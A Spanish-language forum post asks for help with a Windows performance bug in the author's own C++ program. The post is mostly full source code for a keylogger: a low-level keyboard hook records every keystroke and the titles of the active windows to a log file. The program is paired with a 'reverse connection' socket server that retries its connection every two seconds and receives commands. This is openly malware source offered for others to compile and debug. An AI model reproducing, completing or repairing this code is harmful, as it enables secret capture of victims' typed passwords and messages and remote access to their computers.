En fin posteo mi avance para que alguien que se anime a compilarlo y ver por que se dan los errores que explico a continuacion:
1. Es un proyecto normal de Win32 (Con ventana)
2. En la entrada principal al WinMain instalo el hook al teclado
3. Luego Inicializo el Socket
4. En el mensaje WM_CREATE, creo un timer cada 2 segundos
5. Al recibir el evento WM_TIMER, hago que mi timer envie la peticion cada 2 segundos. Y AL HACER ESTO, TODO WINDOWS QUEDA SEMI BLOQUEADO, LAS LETRAS TARDAN EN APARECER POR EJEMPLO EN EL BLOC DE NOTAS LAS VENTANAS DIFICILMENTE SE ARRASTRAN Y EL HOOK DEL KEYLOGGER FUNCIONA A MEDIAS AL NO LOGEAR ALGUNAS TECLAS DE LO QUE SE ESCRIBE.
PERO SI QUITO LAS LLAMADAS A LAS FUNCIONES QUE INICIALIZAN O CONECTAN EL SOCKET TODO FUNCIONA BIEN. LO QUE ME HACE PENSAR QUE ALGO VA MAL ALLI.
La idea de este codigo es un Server (Conexion Inversa) que deberia funcionar al lado de un Hook al teclado.
Veamos:
- Archivo->Nuevo->Proyecto->Aplicacion Win 32
- ALT+F7->Propiedades de Configuracion->Juego de Caracteres->Multibyte
Código
#define _WIN32_WINNT 0x0500 #define _CRT_SECURE_NO_DEPRECATE #include <windows.h> #include <stdlib.h> #include <tchar.h> #include <iostream> #include <string> #include <atlstr.h> #include <stdio.h> #include <winuser.h> #pragma comment(lib,"ws2_32.lib") using namespace std; //FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION void AlTitulo(char *Buffer); //FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO int isCapsLock(){ if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0) return 1; else return 0; } //CALLBACK DEL HOOK AL TECLADO LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam); //ALGUNAS VARIABLES PARA EL KEYLOGGER HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA char TVentana[500]; //EL TITULO char tp[500]; char bufferKL[5]; string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO //DEFINICIONES PARA NUESTRO SOCKET WSADATA wsa; SOCKET sock; struct hostent *host; struct sockaddr_in direc; int conex; int ts=-1; int len=100; char Buffer[1024]; //UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE void DArrival(); //FUNCIONES PARA MANIPULAR NUESTRO SOCKET //INICIALIZAMOS NUESTRO SOCKET void inicializar(){ WSAStartup(MAKEWORD(2,2),&wsa); host=gethostbyname("127.0.0.1"); //creamos el socket sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //direccion y puerto direc.sin_family=AF_INET; direc.sin_port=htons(1234); direc.sin_addr = *((struct in_addr *)host->h_addr); memset(direc.sin_zero,0,8); } //CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO int conectar(){ //Intentamos establecer la conexión hasta que lo logremos conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); return conex; } //PARA CERRAR EL SOCKET void cerrar(){ closesocket(sock); } MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION #define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/ // El nombre de la clase de la ventana principal static TCHAR szWindowClass[] = _T("VentanaWin32"); // El texto que aparece en la ventana principal static TCHAR szTitle[] = _T("Una ventana tipica de win32"); HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain //El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/ //FUNCION PRINCIPAL int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) /*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/ { len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */ //INSTALAMOS EL HOOK AL TECLADO HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0); //Esta estructura contiene información sobre la ventana WNDCLASSEX wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = WndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK)); wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = NULL; wcex.lpszClassName = szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK)); //registramos la clase if (!RegisterClassEx(&wcex)) return 1; //almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global hInst = hInstance; //parametros para crear la ventana principal HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL); //mostramos la ventanA ShowWindow(hWnd,nCmdShow); UpdateWindow(hWnd); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return (int) msg.wParam; } //funcion para procesar los mensajes de la ventana principal LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { PAINTSTRUCT ps; HDC hdc; TCHAR greeting[] = _T("Hola A todos"); switch (message) { case WM_CREATE: /*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/ mt=SetTimer(hWnd, TIMER_ID1, 2000, 0); break; //USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK case WM_TIMER: switch (wParam){ case TIMER_ID1: /*<--- PRIMER TIMER */ //CADA 2 SEGUNDOS INTENTARA CONECTAR if(ts==-1){ ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/ //Y NOS AVISARA EN EL TITULO DE LA VENTANA AlTitulo("Intento de conexion enviada..."); } //CUANDO LOGRE CONECTARSE... else{ DArrival(); //LLAMAMOS A ESTA FUNCION KillTimer(NULL,mt); } break; //MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER //case TIMER_ID2: //<--- Segundo Timer //break; } break; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); //aqui iniciamos //MOSTRAMOS UN SALUDO TextOut(hdc,5, 5,greeting, _tcslen(greeting)); EndPaint(hWnd, &ps); //aqui terminamos break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); break; } return 0; } /*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/ /*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/ void DArrival(){ while (len!=0){ //mientras estemos conectados len=recv(sock,Buffer,1023,0); //recibimos los datos que envie if (len>0){ //si seguimos conectados Buffer[len]=0; //le ponemos el final de cadena AlTitulo(Buffer); } } ts=-1; } //DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam); DWORD Tecla = puntero->vkCode; //vemos si wParam es igual a WM_KEYDOWN (tecla presionada) if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { switch (puntero->vkCode) { case VK_RETURN: //SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY' HISTORY.append("\n"); { FILE *mif=fopen("logger2.txt","a+"); fputs(HISTORY.c_str(),mif); //guardamos. fclose(mif); } HISTORY=""; break; //se presiono un enter case VK_LMENU: HISTORY.append("[AI]"); break; //la tecla alt case VK_RMENU: HISTORY.append("[AD]"); break; //la tecla alt case VK_BACK: HISTORY.append("[<]"); break; //la tecla retroceso case VK_TAB: HISTORY.append("[T]"); break; //la tecla tabulador case VK_END : HISTORY.append("[F]"); break; //la tecla fin case VK_HOME: HISTORY.append("[I]"); break; //la tecla home case VK_LEFT: HISTORY.append("[L]"); break; //la tecla felcha izquierda case VK_UP: HISTORY.append("[U]"); break; //la tecla flecha arriba case VK_RIGHT: HISTORY.append("[R]"); break; //la tecla flecha derecha case VK_DOWN: HISTORY.append("[D]"); break; //la tecla flecha abajo case VK_DELETE: HISTORY.append("[S]"); break; //la tecla suprimir case VK_MULTIPLY:HISTORY.append("*"); break; //la tecla * del teclado num case VK_ADD: HISTORY.append("+"); break; //la tecla + del teclado num case VK_SUBTRACT:HISTORY.append("-"); break; //la tecla - case VK_DIVIDE: HISTORY.append("/"); break; //la tecla / case VK_DECIMAL:HISTORY.append("."); break; //la tecla . del teclado num case VK_CAPITAL:HISTORY.append("[CAPS]"); break; //CAPS LOCK //registramos las teclas normales default: if ((puntero->vkCode>64)&&(puntero->vkCode<91)){ if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){ puntero->vkCode+=32; sprintf(bufferKL,"%c",puntero->vkCode); HISTORY.append(bufferKL); }else{ sprintf(bufferKL,"%c",puntero->vkCode); HISTORY.append(bufferKL); } } if (Tecla==VK_SPACE){ //espacio en blanco HISTORY.append(" "); } } //GUARDAMOS CON EL TITULO DE VENTANA if(GetForegroundWindow()!=ventana){ ventana=GetForegroundWindow(); GetWindowText(ventana,TVentana,80); sprintf(tp,"\n[%s]\n",TVentana); HISTORY.append(tp); } } //en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo return CallNextHookEx(NULL, nCode, wParam, lParam); } /*****************FUNCIONES UTILES*************************************/ void AlTitulo(char *Buffer){ HWND ventana; ventana=GetForegroundWindow(); SetWindowText(ventana,Buffer); }
Resumiendo la consulta:
¿por que windows se detiene o se pone lento cuando con un timer hago que el socket de este server se conecte a su cliente?, el timer esta a 2 segundos, al sacar las llamadas a las funciones de 'inicializar' y 'conectar', todo va bien pero obviamente necesito hacer eso para poder conectarme.
Un Saludo.